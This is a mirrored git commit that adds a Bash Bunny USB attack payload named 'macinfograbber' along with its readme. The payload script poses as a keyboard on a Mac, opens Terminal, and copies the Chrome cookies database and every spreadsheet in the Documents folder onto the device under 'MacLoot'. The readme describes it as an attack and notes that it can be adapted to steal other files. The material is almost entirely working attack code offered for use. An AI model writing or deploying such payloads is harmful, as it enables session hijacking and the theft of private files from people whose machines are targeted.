mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
Add files via upload
This commit is contained in:
parent
21a48ea283
commit
adb87d9919
33
payloads/library/macinfograbber/payload.txt
Normal file
33
payloads/library/macinfograbber/payload.txt
Normal file
@ -0,0 +1,33 @@
|
||||
LED R
|
||||
ATTACKMODE HID STORAGE
|
||||
QUACK GUI SPACE
|
||||
QUACK DELAY 1000
|
||||
QUACK STRING terminal
|
||||
QUACK ENTER
|
||||
QUACK DELAY 8000
|
||||
QUACK STRING mkdir -p /Volumes/BashBunny/MacLoot/xlsx
|
||||
QUACK ENTER
|
||||
QUACK DELAY 500
|
||||
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/MacLoot/chromecookies.db
|
||||
QUACK ENTER
|
||||
QUACK DELAY 1000
|
||||
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/MacLoot/xlsx/
|
||||
QUACK ENTER
|
||||
QUACK DELAY 1000
|
||||
QUACK GUI q
|
||||
QUACK DELAY 500
|
||||
QUACK ENTER
|
||||
|
||||
# Green LED for finished
|
||||
LED G
|
||||
|
||||
files=$(ls /Volumes/BashBunny/MacLoot/xlsx/*.xls 2> /dev/null | wc -l)
|
||||
files2=$(ls /Volumes/BashBunny/MacLoot/xlsx/*.xlsx 2> /dev/null | wc -l)
|
||||
if [ "$files" != "0" -o "$files2" != "0"]
|
||||
then
|
||||
# Got spreadsheet files
|
||||
LED R B
|
||||
else
|
||||
LED R
|
||||
# No spread sheets
|
||||
fi
|
||||
20
payloads/library/macinfograbber/readme.md
Normal file
20
payloads/library/macinfograbber/readme.md
Normal file
@ -0,0 +1,20 @@
|
||||
# Mac Info Grabber for the BashBunny
|
||||
|
||||
* Author: kmakblob
|
||||
* Version: Version 1.0
|
||||
* Target: OSX
|
||||
|
||||
## Description
|
||||
|
||||
A payload that grabs the chrome cookies sqlite3 file and also any spreadsheets in
|
||||
the Documents folder and places them inside a folder on the BashBunny called MacLoot.
|
||||
|
||||
This payload can be easily modified to grab other files like word docs or csv files.
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ------------------ | -------------------------------------------- |
|
||||
| Green | Attack Finished |
|
||||
| Purple | Successfully grabbed xls or xlsx files |
|
||||
| RED | Did not get any xls or xlsx files |
|
||||
Loading…
x
Reference in New Issue
Block a user